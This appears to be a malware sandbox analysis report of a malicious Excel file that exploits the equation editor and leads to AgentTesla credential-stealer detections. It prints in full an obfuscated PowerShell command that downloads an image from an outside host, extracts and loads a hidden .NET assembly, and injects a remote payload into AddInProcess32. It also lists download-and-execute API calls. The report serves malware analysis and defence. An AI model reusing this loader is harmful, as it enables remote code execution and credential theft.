2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 87 25 56 1e 41 ae 79 bf e9 81 0d e2 32 08 62 56 d4 c8 4a 93 bb 69 0a d5 db af e5 8d cb e2 41 e1 60 81 c1 b0 4b 3d 5f e4 3a e6 02 10 5f 8e a3 9e 98 fc 65 44 44 96 dc 6f f2 c0 d9 8b 58 da 88 99 c3 b2 81 01 02 8d 5b 7b e6 47 8a 4a 1a 18 d1 9e 47 7d c4 ee 77 0d fc ba 61 0b 95 87 ad 02 38 cc bf 25 9f 73 03 64 1b ac 0e 0a 5b 4a 38 24 86 e0 63 4c e9 0c 70 5c 60 8b 36 0f cc 64 96 29 a7 24 a9 e9 db 04 b1 2c ba 65 63 a8 00 29 e4 1e d8 02 dc fe 71 28 36 96 3e 9e 68 01 7c 65 b5 29 32 1b 96 cb 29 da 5b 75 f3 d7 0f f7 64 91 77 19 d5 52 bd 3c 65 9a 04 3a 32 ad 39 dc be aa 2b d7 e5 80 9c 9a 93 2c 41 4f 51 96 d3 ea a5 88 6c 41 b9 79 b5 f7 c5 c0 06 ef 8e 31 dd 14 48 ee a0 3d 12 68 9c 06 fc 3f 4b 2e a7 54 b2 4d 4b 08 e4 82 78 61 ed 9b f3 6a 67 99 d7 c3 b4 11 24 6a 08 6b 56 Data Ascii: %VAy2bVJiA`K=_:_eDDoX[{GJG}wa8%sd[J8$cLp\`6d)$,ec)q(6>h\|e)2)[udwR<e:29+,AOQlAy1H=h?K.TMKxajg$jkV
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 1f 54 e1 fc c6 72 37 71 4c 7a fc b1 32 69 85 9d cc 4f 37 99 5a ed 73 b7 89 69 f4 b6 41 17 25 1f 6e 47 18 1b 52 eb 3f 7b cf 4f 7c 13 6a 06 e0 43 7d 31 39 81 65 b0 7b e5 51 59 85 12 70 1b 1a b2 58 9b af 86 10 6a 83 70 c4 13 ef ed 88 ec 2c c7 a8 ac a9 47 57 ba 24 55 f1 81 a3 bd 9d 96 98 71 dc e5 5e 42 a5 bd 56 40 bf 86 2e 8c 01 50 7b e4 3b 30 6b 09 60 f0 6f a5 60 59 f5 4d d0 1b e2 f1 49 b5 74 a7 77 43 c5 e1 24 65 0a d4 45 8e c3 12 d8 b3 ab 2b 30 e3 9c 00 78 66 bb 4a 8d 2e 9f 4e 79 57 2c d6 73 45 75 8a 1b 69 60 2f a6 65 68 fc 3f 4f 0e b6 51 18 51 23 f2 79 ea 31 8d 58 8f 4f 0b 4f 35 05 41 ba fa 60 31 e2 1e 2d 16 82 07 9a 57 00 28 a0 3d ce 2b a3 f1 45 d4 e9 44 e2 c6 ee 68 e7 8b 79 e6 fb 53 e2 bb 01 2b a5 8b d4 07 be 7a b8 95 60 d3 ac 61 00 0a 28 01 df 00 fa 87 Data Ascii: Tr7qLz2iO7ZsiA%nGR?{O\|jC}19e{QYpXjp,GW$Uq^BV@.P{;0k`o`YMItwC$eE+0xfJ.NyW,sEui`/eh?OQQ#y1XOO5A`1-W(=+EDhyS+z`a(
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 32 f9 ca c8 48 50 a3 af 73 92 1d 11 95 63 62 c2 b9 b1 9d 2e 98 46 14 06 1e af a8 c1 24 65 25 00 b0 2a 7a 9f 86 06 ae 85 92 2a 49 4d b1 4a a0 2e af 17 d5 44 04 a0 d9 00 37 e1 be b8 7d 23 23 48 18 20 6d b6 07 6c 36 a5 d2 66 08 83 6d 0b 22 ba e0 05 bc 37 4c f1 79 82 46 16 bb af ad fc 30 6a 9a 78 d6 b7 a0 20 d9 2b b8 11 fa 63 62 24 8d 89 67 01 54 32 ed 63 d2 86 2a 1f ef 0e 5e 38 d5 54 75 bf 6a c0 e8 60 f3 a2 a9 67 37 cf 1e a3 c5 fc b1 89 42 29 28 a3 70 07 6a 8f 80 1d 71 35 99 8a b1 0d b5 57 a0 3d b2 1f 56 1a 7a 2d 7e a2 45 8a c0 d0 1a 84 45 54 44 ed db be 66 4f a8 42 ce 80 35 6e ba ba e7 1a 56 de f6 a0 0f f1 57 7c 52 6d 1c 92 cc 5c 11 4c d4 49 ed 80 54 9d 95 55 54 b1 04 56 ef 6c 87 44 23 76 d6 af e2 20 61 e2 54 40 a9 76 40 ab f7 ce 62 e2 e8 a9 5e 84 1c 08 82 Data Ascii: 2HPscb.F$e%zIMJ.D7}##H ml6fm"7LyF0jx +cb$gT2c*^8Tuj`g7B)(pjq5W=Vz-~EETDfOB5nVW\|Rm\LITUTVlD#v aT@v@b^
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 3c a4 52 cc a5 76 d0 0c 4f 4b 61 78 1e 78 15 7e ab 7f 0c 63 4e 88 d2 84 31 17 b1 e9 50 c5 6b ea 30 22 c0 e2 f7 77 1d 86 71 90 af 73 7f 0c 0d 43 a1 a5 e3 4c a6 bb 89 5b 8f 9f a7 2a fa 22 bb 6f 4c b4 4d 7a 64 6a fa f1 8a c1 ac 9c cf 12 99 a6 71 b8 0d aa c6 cf 3d 33 d1 ce ea fa 56 31 a2 db 10 9c 80 6f ad 8a 3d aa ef 9c 0c 73 a0 43 75 a6 5a 06 8d cc c3 fa 67 2e 89 28 56 91 48 3d 0f 9a 48 fc eb 3d 01 82 3f 3b 72 a4 61 aa ba 00 55 7d 85 0e 9f 5c 21 86 c0 b0 a4 7b 0c 0f 3c 34 4a c7 8d 3a 90 3f fb 69 e3 ff 00 0e 17 4f e0 b3 4f 32 bc 5a 55 5e 6c 39 9d 97 69 1d 0f e1 eb 79 b8 23 8d 48 a2 01 ec 08 b1 92 0c 85 c9 f3 4d 8f 73 55 80 ac fe 0b 0e b3 c4 97 59 1c ac b2 ab 2b 48 cc cb 6a 55 46 d2 ab 55 46 8d df 4f 8f 4c c7 d4 e8 9b 4f 3e a4 69 b4 10 88 a1 6d c1 e6 9b a2 92 Data Ascii: <RvOKaxx~cN1Pk0"wqsCL[*"oLMzdjq=3V1o=sCuZg.(VH=H=?;raU}\!{<4J:?iOO2ZU^l9iy#HMsUY+HjUFUFOLO>im
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 54 90 2e fa 66 7b a3 f9 62 40 a4 5d 7e 2e fc 60 2f 1a a2 3f 24 93 54 4f 61 8e 2d 4a 9b 56 e9 7a d6 26 59 88 36 aa 2b db 0b 1f 99 15 6d e7 70 bc 03 c9 28 8d 76 ef 00 f4 e7 28 60 0a 81 81 52 b4 4f 18 35 2c 75 54 e8 38 e8 48 be d8 e8 53 3c 2c a3 69 da 3a 03 47 f2 c0 41 b6 ae 98 28 71 ea e0 93 db 20 c6 87 4c 44 64 b1 2d 74 3e 58 ab 02 ac 45 11 cf 7c 6b 46 76 ab 10 81 be 78 14 92 09 56 15 77 71 b7 b0 38 c4 53 9d 52 ac 12 c4 0a a8 fc 43 a8 c0 49 1c f3 7a c2 96 5f 61 db 02 92 3c 36 14 95 f7 b1 80 6d 62 69 90 a8 81 f7 7f 88 9c 8d 14 eb a7 9c 3b 0b 5e f8 23 0b ed 57 23 86 e9 83 e4 58 c0 f4 4f af 86 d9 1b a1 1b 94 fb 9c 04 3e 27 3c 5a 95 96 34 2c 3f 0f 1e f9 89 cd 8b c7 a1 98 a4 41 4a 85 fe 21 7d f0 0f ad f1 4d 6b 6b 19 98 b2 1b e1 7d b1 87 d3 cd a9 d3 2c f6 ca 7a Data Ascii: T.f{b@]~.`/?$TOa-JVz&Y6+mp(v(`RO5,uT8HS<,i:GA(q LDd-t>XE\|kFvxVwq8SRCIz_a<6mbi;^#W#XO>'<Z4,?AJ!}Mkk},z
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 13 85 1f 76 75 23 8f 4d 56 78 a0 db 5c 89 23 5d bd be 18 60 c1 e2 dc 63 5a 51 55 ef 81 e8 13 ed 54 52 b8 67 d3 35 06 21 42 f7 c7 f5 3f 6b f4 b0 e9 83 36 96 50 38 1c 1a 39 e4 21 7b e1 23 51 ec 79 eb 87 62 25 fd dc 88 ac 3b f2 70 37 0f da d8 1e 20 cb a5 9a 8f bb 62 69 f6 af 4b bd 80 d2 4a 0d f3 6d 99 4e a1 18 aa 00 54 76 ba c5 66 01 19 58 46 a0 9e 4d 1b c0 f4 9f fc 4d a0 59 96 63 a2 70 ed c7 5e 71 6d 5f da 5d 16 bb 4c d0 49 a3 93 67 00 8b eb 9e 73 57 aa 68 d3 7e d0 c7 b7 c3 07 0e a5 a7 87 70 00 71 c8 1e f8 1a de 1f e2 fa 0f 09 59 57 4d a1 98 96 3c 96 ec 31 98 be d6 69 8b 94 3a 47 51 d4 1b eb 98 7a 67 79 94 a1 b0 41 ac 60 e9 d5 c8 26 35 b5 e3 9e 30 35 9b ed 4c 09 3b 37 91 20 42 bd 3e 39 57 fb 53 a7 53 ea d3 48 54 fc 73 38 e9 8b 72 d1 aa a8 e3 ae 53 53 a5 49 Data Ascii: vu#MVx\#]`cZQUTRg5!B?k6P89!{#Qyb%;p7 biKJmNTvfXFMMYcp^qm_]LIgsWh~pqYWM<1i:GQzgyA`&505L;7 B>9WSSHTs8rSSI
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 2f a5 6d 8c cd d3 9f 6e 71 af 23 4f 2a 2a 19 ce e6 21 78 42 07 e7 8a 6a fc 36 18 23 94 09 98 95 e9 cf 5c 04 9d 56 48 91 90 b1 a5 a2 3f ae 5c b2 4a ea cb 1a 92 00 5a 51 db df 2f a3 d8 a4 ab 10 23 22 c9 ee 49 ed 97 45 58 dd bc b1 e9 e8 d6 3a 57 38 03 48 9b ce e1 c8 37 c5 71 58 cc 40 34 92 16 56 25 56 c1 39 29 13 cc cc c3 8d a6 f2 f2 b1 d8 52 36 05 82 d3 57 d3 00 0f 36 e7 24 a9 6d c4 d0 1c e0 52 17 2e c4 13 63 db 8e 31 85 d3 ee 89 5c 1d ac b6 4f be 2b 36 a9 a1 b5 04 97 ef 7d b0 08 b0 97 3d 79 5e a7 13 9d 97 7e e1 5b b2 3c d9 ca ef 2d 4a c6 b2 d3 45 12 51 56 bb 17 f5 c0 e8 b5 0c 7d 3b aa ba 1f 7c 31 d4 c8 06 ed a4 af 7a c4 95 77 72 38 af 86 30 db cb 14 2f 60 76 18 04 49 3c c5 52 b4 08 fc 40 fc f1 89 1b 69 da 2a ab af c7 12 89 1d 24 21 40 03 83 ce 16 42 e4 92 Data Ascii: /mnq#O*!xBj6#\VH?\JZQ/#"IEX:W8H7qX@4V%V9)R6W6$mR.c1\O+6}=y^~[<-JEQV};\|1zwr80/`vI<R@i$!@B
2024-07-02 06:22:16 UTC	1369	IN	Data Raw: 74 f1 23 89 4b 32 c8 64 7d de db 48 a3 f1 04 93 7e d8 8e af c5 f5 07 57 12 0d 39 d3 a6 e0 c4 b2 db 15 27 36 1e 09 5e 16 48 e4 65 0c 49 0d 60 70 47 b0 1d 7e a3 01 49 74 6b a9 8d 4e e2 50 a2 b6 d5 e4 1e 49 35 5c 59 f7 c6 84 70 a0 0c 23 0a 15 78 25 79 03 db 32 f4 11 eb 24 f1 a6 3a a9 e9 51 2f 62 31 0a 18 dd 0a ee 48 e4 e6 bc 8a ea db 55 0c 9c 85 36 68 55 e0 7c f3 ed 4a be 9b c4 d0 47 34 a5 5d 43 72 6a ba f1 9c 9a 8d 34 fa 38 fc e5 32 35 ed 0a 41 e0 9b 3d 47 3d b1 df b4 70 a6 a3 c7 e1 47 00 2f 93 7c 76 00 1e f9 e7 0a 9d 3e a4 84 2a c5 4d ab 29 b1 f0 fd 70 1c d6 68 d7 4a c1 96 65 65 6e 42 f3 78 a1 7d c7 36 f4 fe 1b 36 ae 17 d4 4f ea 91 d7 d0 a5 bf 13 76 24 df 18 b6 ab 45 14 5a 58 5c 3a ac db 03 32 96 14 dd 41 20 fc 0e 06 68 bb eb 43 0d 04 07 53 a8 8e 21 76 cc Data Ascii: t#K2d}H~W9'6^HeI`pG~ItkNPI5\Yp#x%y2$:Q/b1HU6hU\|JG4]Crj4825A=G=pG/\|v>*M)phJeenBx}66Ov$EZX\:2A hCS!v

Target ID:	0
Start time:	02:21:18
Start date:	02/07/2024
Path:	C:\Program Files\Microsoft Office\Office14\EXCEL.EXE
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Microsoft Office\Office14\EXCEL.EXE" /automation -Embedding
Imagebase:	0x13f8b0000
File size:	28'253'536 bytes
MD5 hash:	D53B85E21886D2AF9815C377537BCAC3
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	false

Show Windows behavior

Target ID:	2
Start time:	02:22:07
Start date:	02/07/2024
Path:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
Wow64 process (32bit):	true
Commandline:	"C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE" -Embedding
Imagebase:	0x400000
File size:	543'304 bytes
MD5 hash:	A87236E214F6D42A65F5DEDAC816AEC8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	02:22:10
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\wscript.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Roaming\portugalslovenia.js"
Imagebase:	0x8a0000
File size:	141'824 bytes
MD5 hash:	979D74799EA6C8B8167869A68DF5204A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	02:22:11
Start date:	02/07/2024
Path:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ".( $pSHoMe[21]+$pShome[34]+'x') ( ('t0vlink = Amahttps://uploadde'+'imagens.com.br/images/004/807/053/origin'+'al/new_image.jpg?1719846235Ama; t0vwebClient = New-Object System.Net.WebClient; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch'+' { Write-Host AmaFailed To do'+'wnload data from t0vlin'+'kAma -ForegroundColor Red'+'; exit }; if ('+'t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UT'+'F8.GetString(t0vdownloadedData); t0vstartFlag = Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END>>Ama; t0vstartIndex = t0vimageText.IndexOf(t0vstartFlag); t0vendIndex = t0vimageText.IndexOf(t0vendFlag); if (t0vstartIndex -ge 0 -and t0vendIndex -gt t0vstart'+'Index) { t0vstartIndex += t0vstartF'+'lag.Length; t0vbase64Len'+'gth = t0vendIndex - t0vstartIndex; t0vba'+'se64Command = t0vimageText.Substring(t0vstartIndex, t0vb'+'ase64Length); t0vcommandBytes = [System.Convert]::FromBase64String(t0vbase64C'+'ommand); t0vloadedAssembly = [System.Reflection.As'+'sembly]::Load(t0vcommandBytes); t0vtype = t'+'0vloadedAssembly.GetType('+'AmaRunPE.HomeAma); t0vmethod = t0vtype.GetMethod(AmaVAIAma).Invoke(t'+'0vnull, [object[]] (Amatxt.esablanoitidarTruo/651'+'.342.3.291//:ptthAma , '+'AmadesativadoAma , AmadesativadoAma'+' , Amade'+'sativadoAma,AmaAddInPro'+'cess32Ama,AmaAma)) } }Set Scriptblock t0vlink = Amahttps://uploaddeimage'+'ns.com.br/images/004/806/083/original/new_image.jpg?1719607612Am'+'a; t0vwebClient = New-O'+'bject System.Net.WebClien'+'t; try { t0vdownloadedData = t0vwebClient.DownloadData(t0vlink) } catch { Write-Host AmaFailed To download data from t0vlinkAma -ForegroundColor Red; exit }; if (t0vdownloadedData -ne t0vnull) { t0vimageText = [System.Text.Encoding]::UTF8.'+'GetString(t0vdownloadedData); t0vstartFlag '+'= Ama<<BASE64_START>>Ama; t0vendFlag = Ama<<BASE64_END'+'>>Ama; t0vstartIndex = t'+'0vi'+'mageText.IndexOf(t0vstartFlag'+'); t0vendIndex = t0vimageText.Index'+'Of(t0vendFlag); if (t0vstartIndex '+'-g'+'e 0 -and t0vendIndex -gt t0vstartIndex) { '+'t0vstartIndex += t0vstartFlag.Length; t0vbase64L'+'ength = t0vendIndex - t0vstartIndex; t0vbase64Command'+' = t0vimageText.Substring(t0vstartIndex, t0vbase64Length); t0vcommandB'+'ytes = [Sy'+'stem.Convert]:'+':FromBase64String(t0vbase64Command); t0vloadedAssembly = [System.Reflection.Assembly]::Load(t0vcommandBytes); t0vtype = t0vloadedAssembly.'+'GetType(AmaRunPE.HomeAma); t0vmethod ='+' t0vtype.GetMet'+'hod(AmaVAIAma).Invoke(t0vnull,'+' [ob'+'ject[]] (Amatxt.esabla'+'noitidarTruo/651.342.'+'3.291//:ptthAma , AmadesativadoAma , AmadesativadoAma , AmadesativadoAma,AmaAddInProcess32Ama,AmadesativadoAma)) } }').RepLAce('t0v','$').RepLAce(([ChaR]65+[ChaR]109+[ChaR]97),[STrINg][ChaR]39) )"
Imagebase:	0x200000
File size:	427'008 bytes
MD5 hash:	EB32C070E658937AA9FA9F3AE629B2B8
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.481125469.0000000003499000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000006.00000002.481125469.0000000003AA4000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	02:22:14
Start date:	02/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x1100000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_AgentTesla_1, Description: Yara detected AgentTesla, Source: 00000008.00000002.478369752.0000000000402000.00000040.00000400.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000008.00000002.478863572.0000000002545000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	02:22:17
Start date:	02/07/2024
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe"
Imagebase:	0x1100000
File size:	42'056 bytes
MD5 hash:	EFBCDD2A3EBEA841996AEF00417AA958
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000009.00000002.618799471.0000000002545000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Reputation:	moderate
Has exited:	false

Show Windows behavior

Execution Graph

Execution Coverage:	18.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	65.1%
Total number of Nodes:	43
Total number of Limit Nodes:	0

Callgraph

Executed
Not Executed
Opacity -> Relevance
Disassembly available

Executed Functions

Function 035205CF Relevance: 4.5, APIs: 3, Instructions: 37
filenetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

URLDownloadToFileW.URLMON(00000000,03520579,?,00000000,00000000), ref: 035205D1

Part of subcall function 035205E8: ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0352060F
Part of subcall function 035205E8: ExitProcess.KERNEL32(00000000), ref: 03520627

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID: DownloadExecuteExitFileProcessShell
String ID:
API String ID: 3584569557-0
Opcode ID: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction ID: 4d9afaf58ae708bb4c5343e858a0c557e5a3b6f74f6d7ad7abd9687a896c8a95
Opcode Fuzzy Hash: 2ac2e785a5df96b5b1d2b6d05b07d367621e1ab0833f3c674eb7a3d1e14328db
Instruction Fuzzy Hash: 66F027A064F3923DE711E7746C5EF6A6F29BFC3700F550889B1425F0F3D994A8048269

Function 035205FD Relevance: 3.0, APIs: 2, Instructions: 50
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ShellExecuteW.SHELL32(00000000,00000000,?,00000000,00000000,00000001), ref: 0352060F

Part of subcall function 03520622: ExitProcess.KERNEL32(00000000), ref: 03520627

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction ID: 6f0105eab18171fa20e1946cec049eca8ae360cb04d63a3959d05b69ca9751a0
Opcode Fuzzy Hash: 9bb4a9efaea7c07eca078e7354966bed14a700fa2dbfda34c55d40211f488600
Instruction Fuzzy Hash: 42012B9454737324DB30E6646855BB5AF15FBC3710FCC4853A8810B0F5D564B0C74ADD

Function 035205E8 Relevance: 3.0, APIs: 2, Instructions: 47
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID: ExecuteExitProcessShell
String ID:
API String ID: 1124553745-0
Opcode ID: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction ID: a6c39dcdef465232b0ca3a7860c85b98ee65d5df4faa15fed5f674ddf5550844
Opcode Fuzzy Hash: 86e204669779fcf6b1d289fc5e1d83ca539377395524096db536a032bfc48ab3
Instruction Fuzzy Hash: 0F017D7064B36734E730E3646C89BA9AE96FBC3710F988457F4410B0F5C694B887869D

Function 0352054E Relevance: 1.6, APIs: 1, Instructions: 54
libraryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LoadLibraryW.KERNEL32(03520540), ref: 0352054E

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID: LibraryLoad
String ID:
API String ID: 1029625771-0
Opcode ID: 5d4f67c0b88c710392174a049d70093d2fa729af265df57f79aa0bd7959efba7
Instruction ID: 1aa1f887f94080795b548791928992fcc6b2df23acf725ac6353739148e9779c
Opcode Fuzzy Hash: 5d4f67c0b88c710392174a049d70093d2fa729af265df57f79aa0bd7959efba7
Instruction Fuzzy Hash: CD1103A2A4E7D22FD71797309D7A611BF643B63114B4DC6CED4C20A4E3E398A141C792

Function 03520622 Relevance: 1.5, APIs: 1, Instructions: 4
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(00000000), ref: 03520627

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction ID: f49c04242a7a61e974833cf8218924656bc711991e28e6f13ed51e74029fe7d2
Opcode Fuzzy Hash: 288fe55cd219b45af00edd1f2cff87e2581c67c70a4523920e313d1c8e5ebd5b
Instruction Fuzzy Hash:

Function 03520629 Relevance: .0, Instructions: 14
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction ID: 55ccb5dd4c6d350cf5ba225fd67ebff6d87758408a98059d867b18d7630e2120
Opcode Fuzzy Hash: 15c3e4776a16804bb5212a09f03411bf1d00a4b4976dbaad078e0c99fd6b82f5
Instruction Fuzzy Hash: CAD05231202502CFC308DB04D980E12F77AFFC8610B28C268E0008BBA9C330E8A2CAD0

Non-executed Functions

Function 0352048F Relevance: 1.6, APIs: 1, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ExitProcess.KERNEL32(0352047D), ref: 0352048F

Memory Dump Source

Source File: 00000002.00000002.463247767.0000000003520000.00000004.00000020.00020000.00000000.sdmp, Offset: 03520000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_3520000_EQNEDT32.jbxd

Similarity

API ID: ExitProcess
String ID:
API String ID: 621844428-0
Opcode ID: b13635d6134869a0656c4669781b3114731b219e39755e93e5cab16776fef191
Instruction ID: de1179ccb931a774f76e97c9585293de7e696a7637b662fc6381451be02c626a
Opcode Fuzzy Hash: b13635d6134869a0656c4669781b3114731b219e39755e93e5cab16776fef191
Instruction Fuzzy Hash: F611A9AAA0F7E15FD326D774B99A15AFF607A53100B1C85CEC1950B0F3E25199068396

Analysis Process: powershell.exePID: 2200, Parent PID: 2884COMMON

Execution Graph

Execution Coverage:	9.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	0%
Total number of Nodes:	359
Total number of Limit Nodes:	8

Executed Functions

Function 004C1648 Relevance: 3.9, Strings: 3, Instructions: 130
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

\91, xrefs: 004C174D
891, xrefs: 004C16B4
\91, xrefs: 004C177E

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: 891$\91$\91
API String ID: 0-1733504215
Opcode ID: d90f7e53cbdb06fc6015c6e08090af45d1bbac61c2bec0b64ef41c7e3621ebb7
Instruction ID: 1c93ca57d3547c4a235b4a37ee993353aa882c493b726ddaac25f8921877ac46
Opcode Fuzzy Hash: d90f7e53cbdb06fc6015c6e08090af45d1bbac61c2bec0b64ef41c7e3621ebb7
Instruction Fuzzy Hash: 1C412734B053549FCB649B648814B7E7BA1DF86710F24816FE944EF392CA71DC4187A6

Function 004C0AD0 Relevance: 2.9, Strings: 2, Instructions: 367
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

T;1, xrefs: 004C0BAD
T;1, xrefs: 004C0B48

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: T;1$T;1
API String ID: 0-2441291141
Opcode ID: 0c5c1987d4c3e6ea082401979f9ca6cf1f37effbba17965b9df021cd649f4189
Instruction ID: fbb5eaf2e865df820ef03b49df0e5aeb8c5500e03718bad36f0576ab52be4628
Opcode Fuzzy Hash: 0c5c1987d4c3e6ea082401979f9ca6cf1f37effbba17965b9df021cd649f4189
Instruction Fuzzy Hash: E3C12539708340CFDB659B788410B6ABBA2EFD2314F24846FD445DB392DA39DC42C766

Function 004C0F60 Relevance: 2.8, Strings: 2, Instructions: 313
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

H\), xrefs: 004C102F
;1, xrefs: 004C0FE9

Memory Dump Source

Source File: 00000006.00000002.478378134.00000000004C0000.00000040.00000800.00020000.00000000.sdmp, Offset: 004C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_4c0000_powershell.jbxd

Similarity

API ID:
String ID: H\)$;1
API String ID: 0-145614036
Opcode ID: 0ca2d60b883c81a7f3a727de6394edbefea86faa4f9148a83234ae4a45904da5
Instruction ID: e447b91960876c012bab6ddcef117d4774cfb5675938d456234b0561c09cc093
Opcode Fuzzy Hash: 0ca2d60b883c81a7f3a727de6394edbefea86faa4f9148a83234ae4a45904da5
Instruction Fuzzy Hash: C3A105397043109FEB648A69C850F7BBBA1EF86311F24806FD545DB3A2DA79CC81C796

